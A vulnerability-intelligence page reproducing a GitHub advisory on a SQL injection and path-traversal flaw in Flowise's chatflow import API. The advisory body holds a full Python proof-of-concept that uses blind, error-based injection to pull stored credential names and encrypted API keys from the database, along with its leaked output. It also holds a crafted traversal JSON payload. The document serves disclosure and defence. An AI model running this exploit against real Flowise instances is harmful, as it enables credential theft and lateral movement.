KEVWire

Security intelligence, with context.

Response snapshot Nov 3, 2026, 22:26 UTC

Back to the wire
Permalink
VulnerabilityCVE-2025-71332

FlowiseDB vulnerable to SQL Injection by authenticated users

import functions are vulnerable. * [importChatflows](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/chatflows/index.ts#L219) * [importTools](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/tools/index.

Published Updated

At a glance

Exploited
Not known
Severity
8.5 High (CVSS 4.0)
Chance of exploitation
Not estimated
Sources
1 source

What to do

Consult the exact GitHub advisory for affected versions, mitigation, and patch availability.

Read GitHub-reviewed advisory GHSA-9c4c-g95m-c8cp (opens a new tab)

What happened

Summary

import functions are vulnerable. * [importChatflows](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/chatflows/index.ts#L219) * [importTools](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/tools/index.ts#L85) * [importVariables](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/variables/index.ts)

Details

Authenticated user can call importChatflows API, import json file such as AllChatflows.json. but Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.

Continue reading

Issue 1 (Bug Type) 1. Malicious user creates AllChatflows.json file by adding ../ and arbitrary path to the chatflow.id of the json file.

 {
 "Chatflows": [
 {
 "id": "../../../../../../apikey",
 "name": "clickme",
 "flowData": "{}"
 }
 ]
 }

2. Victim download this file, and import this to flowise. 3. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.

Issue 2 (Vulnerability Type) importChatflows API use unsafe SQL Query.

// packages/server/src/services/chatflows/index.ts
const importChatflows = async (newChatflows: Partial []): Promise => {
 try {
 const appServer = getRunningExpressApp()

 // step 1 - check whether file chatflows array is zero
 if (newChatflows.length == 0) return

 // step 2 - check whether ids are duplicate in database
 let ids = '('
 let count: number = 0
 const lastCount = newChatflows.length - 1
 newChatflows.forEach((newChatflow) => {
 ids += `'${newChatflow.id}'` // {
 return response.id
 })

It changes like SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}') by the code above. When ') {Malicious SQL Query} -- is passed to newChatflow.id, SQL Injection occurs.

PoC

import argparse
import requests

def import_chatflows(
 url: str,
 token: str,
 payload: dict
):
 response = requests.post(
 f'{url}/api/v1/chatflows/importchatflows',
 headers={
 'Authorization': f'Bearer {token}'
 # 'Authorization': f'Basic {token}'
 },
 json=payload
 )

 return response.json()

def import_normal_data(
 api_url: str,
 token: str,
 normal_data: str
):
 data_id = 'aaaaaa'

 payload = {
 "Chatflows": [
 {
 "id": data_id,
 "name": normal_data,
 "flowData": "{}"
 }
 ]
 }

 import_chatflows(
 url=api_url,
 token=token,
 payload=payload
 )
 return data_id

def get_character(
 api_url: str,
 token: str,
 data_id: str,
 column_name: str,
 index: int
):
 injection_query = f'(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)'

 def create_payload(
 c: int
 ):
 return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "

 chatflows_json = {
 "Chatflows": [
 {
 "id": "",
 "name": data_id,
 "flowData": "{}"
 }
 ]
 }

 bitbox = [
 64, 32, 16, 8, 4, 2, 1
 ]
 character = 0
 for bit in bitbox:
 payload = create_payload(c=character + bit)
 chatflows_json['Chatflows'][0]['id'] = payload

 res = import_chatflows(
 url=api_url,
 token=token,
 payload=chatflows_json
 )
 if 'DOUBLE value is out of range' in res['message']:
 # character is more then bit
 character += bit
 else:
 # character is less then bit
 character += 0

 return chr(character)

def get_length(
 api_url: str,
 token: str,
 data_id: str,
 column_name: str
):
 injection_query = f'(SELECT length({column_name}) FROM credential limit 0,1)'

 def create_payload(
 c: int
 ):
 return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "

 chatflows_json = {
 "Chatflows": [
 {
 "id": "",
 "name": data_id,
 "flowData": "{}"
 }
 ]
 }

 column_len = 0
 bitbox = [
 256, 128, 64, 32, 16, 8, 4, 2, 1
 ]
 for bit in bitbox:
 payload = create_payload(c=column_len + bit)
 chatflows_json['Chatflows'][0]['id'] = payload

 res = import_chatflows(
 url=api_url,
 token=token,
 payload=chatflows_json
 )
 if 'DOUBLE value is out of range' in res['message']:
 # column_len is more then bit
 column_len += bit
 else:
 # column_len is less then bit
 column_len += 0

 return column_len

def main(
 url: str,
 token: str
):
 api_url = url

 column_box = [
 'credentialName',
 'encryptedData'
 ]

 data_id = import_normal_data(
 api_url=api_url,
 token=token,
 normal_data='flow01'
 )

 for column_name in column_box:
 column_len = get_length(
 api_url=api_url,
 token=token,
 data_id=data_id,
 column_name=column_name
 )

 print(f'[+] {column_name} length is {column_len}')

 result = ''
 for i in range(column_len):
 result += get_character(
 api_url=api_url,
 token=token,
 data_id=data_id,
 column_name=column_name,
 index=i + 1
 )

 print(f'[+] {column_name}: {result}')

if __name__ == '__main__':
 parser = argparse.ArgumentParser()
 parser.add_argument(
 '--url',
 type=str,
 default='http://flowise:3000'
 )
 parser.add_argument(
 '--access',
 type=str,
 required=True,
 help='Get from http://flowise:3000/apikey'
 )

 m_args = parser.parse_args()

 main(
 url=m_args.url,
 token=m_args.access
 )

poc results: encryptedData from flowise database credential table was successfully leaked.

/app # python ex2.py --url http://flowise:3000 --access "blahblah~~~"
[+] credentialName length is 9
[+] credentialName: openAIApi
[+] encryptedData length is 88
[+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==

It is recommended to limit all chatflow ids & chat ids to UUID.

Impact

* Database leak * Lateral Movement

Affected package ranges reported by GitHub: flowise: <= 2.2.7

Scores and how they were measured

CVSS base severity

8.5

Version 4.0As of

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Follow JavaScript packages (npm): RSS feedAll its recordsAsk your AI assistant

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-9c4c-g95m-c8cp (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-9c4c-g95m-c8cp, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, November 3). FlowiseDB vulnerable to SQL Injection by authenticated users (CVE-2025-71332). https://kevwire.com/record/CVE-2025-71332

MLA

"FlowiseDB vulnerable to SQL Injection by authenticated users (CVE-2025-71332)." KEVWire, 3 Nov. 2026, kevwire.com/record/CVE-2025-71332.

Chicago

KEVWire. "FlowiseDB vulnerable to SQL Injection by authenticated users (CVE-2025-71332)." Last modified November 3, 2026. https://kevwire.com/record/CVE-2025-71332.

Evidence summary (plain text)

FlowiseDB vulnerable to SQL Injection by authenticated users (Apr 7, 2025).
import functions are vulnerable.
* [importChatflows](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/chatflows/index.ts#L219)
* [importTools](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/tools/index.ts#L85)
* [importVariables](https://github.com/FlowiseAI/Flowise/blob/main/packages/server/src/services/variables/index.ts)

Authenticated user can call importChatflows API, import json file such as AllChatflows.json.
but Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.

Issue 1 (Bug Type)
1.
CVSS 8.5 (version 4.0; evidence as of Nov 3, 2026; https://github.com/advisories/GHSA-9c4c-g95m-c8cp).
Sources:
GitHub-reviewed advisory GHSA-9c4c-g95m-c8cp: https://github.com/advisories/GHSA-9c4c-g95m-c8cp
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2025-71332.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Nov 3, 2026, 22:20 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are coming as part of KEVWire Premium: join the waitlist. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail